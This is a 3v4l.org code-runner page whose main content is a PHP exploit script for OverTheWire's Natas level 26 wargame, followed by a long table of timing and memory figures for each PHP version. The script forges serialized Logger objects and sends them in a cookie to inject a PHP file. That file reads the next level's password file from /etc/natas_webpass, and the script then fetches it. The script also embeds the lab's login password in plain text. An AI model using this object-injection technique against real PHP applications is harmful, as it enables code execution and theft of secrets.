3v4l.org

run code in 300+ PHP versions simultaneously
<?php $filename = "4864".".php"; class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($exitMsg){ global $filename; // initialise variables $this->initMsg="#-- started--#\n"; $this->exitMsg=$exitMsg; /*$this->exitMsg='';*/ $this->logFile = $filename; // write initial message } function log($msg){ } function __destruct(){ // write exit message } } $greet = function() {}; $msg = array('<','?','php ','echo file_get_contents("/etc/natas_webpass/natas27");',''); foreach( $msg as $m) { $obj = new Logger($m); $func = base64_encode(serialize($obj)); print "<br><br>".$m."<br>".$func; $c = curl_init("http://natas26.natas.labs.overthewire.org/"); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); curl_setopt($c, CURLOPT_COOKIE, 'drawing='.$func.''); curl_easy_setopt($c, CURLOPT_WRITEFUNCTION, $greet); $page = curl_exec($c); curl_close($c); } $c = curl_init('http://natas26.natas.labs.overthewire.org/img/'.$filename); curl_setopt($c, CURLOPT_USERPWD, "natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"); $page = curl_exec($c); curl_close($c);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0030.01318.68
8.3.60.0080.00618.66
8.3.50.0140.00721.98
8.3.40.0110.00419.02
8.3.30.0140.00019.25
8.3.20.0000.00720.11
8.3.10.0040.00423.29
8.3.00.0030.00519.38
8.2.180.0090.00616.63
8.2.170.0120.00422.96
8.2.160.0070.01020.35
8.2.150.0050.00524.18
8.2.140.0060.00324.66
8.2.130.0040.00426.16
8.2.120.0050.00319.83
8.2.110.0060.00319.45
8.2.100.0090.00317.83
8.2.90.0000.00818.16
8.2.80.0040.00417.97
8.2.70.0060.00317.50
8.2.60.0030.00617.93
8.2.50.0000.00918.07
8.2.40.0000.00818.03
8.2.30.0000.00718.01
8.2.20.0080.00017.70
8.2.10.0000.00718.16
8.2.00.0000.00917.95
8.1.280.0110.01125.92
8.1.270.0060.00323.88
8.1.260.0040.00426.35
8.1.250.0000.00828.09
8.1.240.0110.00022.09
8.1.230.0080.00422.75
8.1.220.0030.00617.78
8.1.210.0040.00418.88
8.1.200.0080.00017.48
8.1.190.0000.00917.36
8.1.180.0000.00818.10
8.1.170.0040.00418.64
8.1.160.0040.00422.03
8.1.150.0060.00318.85
8.1.140.0040.00417.43
8.1.130.0040.00417.86
8.1.120.0040.00417.57
8.1.110.0000.00717.51
8.1.100.0080.00017.42
8.1.90.0030.00517.50
8.1.80.0030.00417.43
8.1.70.0000.00917.51
8.1.60.0030.00617.69
8.1.50.0000.00817.52
8.1.40.0030.00617.53
8.1.30.0050.00317.64
8.1.20.0080.00017.69
8.1.10.0000.00717.48
8.1.00.0030.00617.54
8.0.300.0000.00720.21
8.0.290.0000.00716.75
8.0.280.0070.00018.56
8.0.270.0030.00317.31
8.0.260.0000.00617.17
8.0.250.0030.00317.06
8.0.240.0030.00316.91
8.0.230.0000.00717.08
8.0.220.0000.00716.87
8.0.210.0000.00716.99
8.0.200.0000.00717.12
8.0.190.0040.00416.92
8.0.180.0070.00017.09
8.0.170.0030.00617.08
8.0.160.0040.00416.96
8.0.150.0000.00816.94
8.0.140.0030.00616.98
8.0.130.0060.00013.41
8.0.120.0040.00416.90
8.0.110.0030.00616.97
8.0.100.0040.00416.99
8.0.90.0070.00017.05
8.0.80.0070.00717.02
8.0.70.0000.00716.99
8.0.60.0000.00716.95
8.0.50.0000.00716.87
8.0.30.0140.00817.11
8.0.20.0110.01017.40
8.0.10.0000.00816.95
8.0.00.0100.00916.77
7.4.330.0060.00015.00
7.4.320.0030.00316.46
7.4.300.0030.00316.52
7.4.290.0070.00316.63
7.4.280.0040.00416.64
7.4.270.0000.00816.66
7.4.260.0000.00716.61
7.4.250.0040.00416.61
7.4.240.0000.00716.50
7.4.230.0000.00816.32
7.4.220.0070.01116.59
7.4.210.0120.00916.55
7.4.200.0070.00016.63
7.4.160.0080.00816.74
7.4.150.0140.01017.40
7.4.140.0080.01017.86
7.4.130.0130.01316.56
7.4.120.0140.00716.49
7.4.110.0100.01416.45
7.4.100.0070.01116.45
7.4.90.0070.01016.58
7.4.80.0090.00919.39
7.4.70.0070.01016.46
7.4.60.0100.00716.60
7.4.50.0030.00516.50
7.4.40.0100.01316.66
7.4.30.0070.01016.57
7.4.00.0090.00615.18
7.3.330.0000.00613.35
7.3.320.0030.00313.34
7.3.310.0030.00316.29
7.3.300.0070.00016.27
7.3.290.0000.01416.37
7.3.280.0060.01016.38
7.3.270.0110.00817.40
7.3.260.0140.00616.52
7.3.240.0090.01216.52
7.3.230.0070.01016.64
7.3.210.0090.00616.58
7.3.200.0100.01019.39
7.3.190.0110.00616.38
7.3.180.0090.00616.54
7.3.170.0120.00316.43
7.3.160.0150.00616.27
7.3.10.0040.01416.68
7.3.00.0100.00316.80
7.2.330.0080.00916.82
7.2.320.0100.00716.81
7.2.310.0160.00416.65
7.2.300.0050.01416.62
7.2.290.0140.00416.90
7.2.130.0040.01116.95
7.2.120.0060.01016.97
7.2.110.0050.00516.95
7.2.100.0060.00616.98
7.2.90.0000.01317.05
7.2.80.0110.00416.90
7.2.70.0090.00616.94
7.2.60.0060.00816.93
7.2.50.0000.01617.07
7.2.40.0070.00417.10
7.2.30.0060.00917.17
7.2.20.0040.01117.04
7.2.10.0080.00417.11
7.2.00.0060.00917.08
7.1.250.0070.00715.76
7.1.200.0120.00315.89
7.1.70.0000.00717.01
7.1.60.0120.00919.32
7.1.50.0040.01116.92
7.1.00.0100.08322.45
7.0.200.0050.00516.80
7.0.140.0100.06722.16
7.0.100.0270.08019.91
7.0.90.0100.07019.96
7.0.80.0070.08020.17
7.0.70.0170.05319.93
7.0.60.0200.05019.99
7.0.50.0230.03320.33
7.0.40.0070.06320.10
7.0.30.0070.07719.93
7.0.20.0130.07720.01
7.0.10.0100.05720.12
7.0.00.0070.08720.09
5.6.280.0000.07721.15
5.6.250.0030.07720.57
5.6.240.0030.05320.65
5.6.230.0100.07320.73
5.6.220.0130.06720.64
5.6.210.0070.08020.68
5.6.200.0030.05321.09
5.6.190.0130.04021.16
5.6.180.0100.04321.19
5.6.170.0100.08021.03
5.6.160.0030.06321.19
5.6.150.0070.05321.08
5.6.140.0070.07020.98
5.6.130.0200.06721.01
5.6.120.0030.07321.04
5.6.110.0070.08021.02
5.6.100.0070.07320.98
5.6.90.0130.07721.00
5.6.80.0100.07020.42
5.6.70.0170.06320.50
5.6.60.0030.07020.32
5.6.50.0100.07720.36
5.6.40.0070.08020.43
5.6.30.0130.07720.46
5.6.20.0000.09020.50
5.6.10.0030.05320.45
5.6.00.0000.04320.36
5.5.380.0130.05020.39
5.5.370.0070.08020.43
5.5.360.0130.08020.35
5.5.350.0070.06720.35
5.5.340.0170.07020.95
5.5.330.0030.07020.89
5.5.320.0100.07720.95
5.5.310.0130.05720.66
5.5.300.0270.06020.79
5.5.290.0030.07720.85
5.5.280.0070.07020.70
5.5.270.0270.06320.93
5.5.260.0070.08020.93
5.5.250.0070.08320.75
5.5.240.0070.08020.29
5.5.230.0030.08320.13
5.5.220.0000.05720.22
5.5.210.0130.06720.25
5.5.200.0100.08020.23
5.5.190.0000.05320.16
5.5.180.0100.08020.25
5.5.160.0100.05320.13
5.5.150.0100.03320.12
5.5.140.0030.08020.23
5.5.130.0030.07320.25
5.5.120.0170.07020.29
5.5.110.0030.08320.24
5.5.100.0170.06319.95
5.5.90.0170.04020.03
5.5.80.0100.07320.18
5.5.70.0100.04720.07
5.5.60.0000.08020.17
5.5.50.0170.03320.11
5.5.40.0030.05720.13
5.5.30.0100.04320.05
5.5.20.0130.07720.07
5.5.10.0100.05720.05
5.5.00.0070.05020.03
5.4.450.0100.08019.57
5.4.440.0070.05719.42
5.4.430.0070.07319.48
5.4.420.0070.07719.48
5.4.410.0070.08019.22
5.4.400.0000.04318.86
5.4.390.0130.04719.16
5.4.380.0070.04019.23
5.4.370.0070.06319.10
5.4.360.0070.07319.23
5.4.350.0170.07019.13
5.4.340.0000.04719.13
5.4.320.0100.07319.16
5.4.310.0030.04719.14
5.4.300.0000.07019.18
5.4.290.0130.05719.07
5.4.280.0170.06318.95
5.4.270.0100.06719.04
5.4.260.0100.05719.12
5.4.250.0030.07319.04
5.4.240.0070.05319.09
5.4.230.0030.04319.15
5.4.220.0170.07318.87
5.4.210.0130.07018.99
5.4.200.0000.08318.90
5.4.190.0000.05719.08
5.4.180.0030.08319.17
5.4.170.0070.08319.12
5.4.160.0070.03318.85
5.4.150.0000.06719.15
5.4.140.0070.07016.25
5.4.130.0030.05716.49
5.4.120.0070.07316.41
5.4.110.0070.03716.50
5.4.100.0070.07316.36
5.4.90.0070.06316.43
5.4.80.0030.05716.34
5.4.70.0130.08016.27
5.4.60.0070.06716.31
5.4.50.0100.06316.39
5.4.40.0130.06716.51
5.4.30.0070.05716.40
5.4.20.0070.07316.40
5.4.10.0100.06716.52
5.4.00.0070.06315.87
5.3.290.0170.06714.68
5.3.280.0030.04714.56
5.3.270.0030.06714.54
5.3.260.0030.04314.74
5.3.250.0130.06014.64
5.3.240.0070.04714.55
5.3.230.0030.05014.62
5.3.220.0100.06714.50
5.3.210.0070.04714.72
5.3.200.0070.05314.65
5.3.190.0100.06714.56
5.3.180.0030.07314.60
5.3.170.0100.06714.60
5.3.160.0100.05714.51
5.3.150.0030.04014.64
5.3.140.0100.05714.63
5.3.130.0070.07714.70
5.3.120.0030.07314.63
5.3.110.0070.07714.66
5.3.100.0070.07714.13
5.3.90.0030.04714.13
5.3.80.0000.07714.06
5.3.70.0100.04013.94
5.3.60.0070.07714.07
5.3.50.0100.06313.98
5.3.40.0100.07313.95
5.3.30.0000.04714.06
5.3.20.0070.05713.61
5.3.10.0070.07313.72
5.3.00.0070.06313.66
5.2.170.0000.05711.72
5.2.160.0100.05311.72
5.2.150.0130.05311.72
5.2.140.0030.05011.72
5.2.130.0100.05011.72
5.2.120.0030.03311.72
5.2.110.0070.06311.72
5.2.100.0070.04011.72
5.2.90.0100.04711.72
5.2.80.0000.03311.72
5.2.70.0070.03011.72
5.2.60.0070.03311.72
5.2.50.0030.05011.72
5.2.40.0170.04711.72
5.2.30.0030.05711.72
5.2.20.0130.05311.72
5.2.10.0070.03311.72
5.2.00.0030.06711.72
5.1.60.0100.03011.72
5.1.50.0070.05011.72
5.1.40.0030.05311.72
5.1.30.0070.04711.72
5.1.20.0070.05711.72
5.1.10.0070.05011.72
5.1.00.0070.03711.72
5.0.50.0030.04311.72
5.0.40.0070.04011.72
5.0.30.0030.04011.72
5.0.20.0070.03711.72
5.0.10.0030.04311.72
5.0.00.0030.03311.72
4.4.90.0030.03711.72
4.4.80.0000.03711.72
4.4.70.0030.02011.72
4.4.60.0070.03011.72
4.4.50.0070.03011.72
4.4.40.0000.05711.72
4.4.30.0000.04011.72
4.4.20.0000.03311.72
4.4.10.0000.02011.72
4.4.00.0030.05011.72
4.3.110.0030.03311.72
4.3.100.0030.01711.72
4.3.90.0000.03311.72
4.3.80.0000.05311.72
4.3.70.0030.01711.72
4.3.60.0000.02011.72
4.3.50.0000.03311.72
4.3.40.0070.04711.72
4.3.30.0030.03711.72
4.3.20.0000.03711.72
4.3.10.0000.01711.72
4.3.00.0030.03311.72

preferences:
83.61 ms | 401 KiB | 5 Q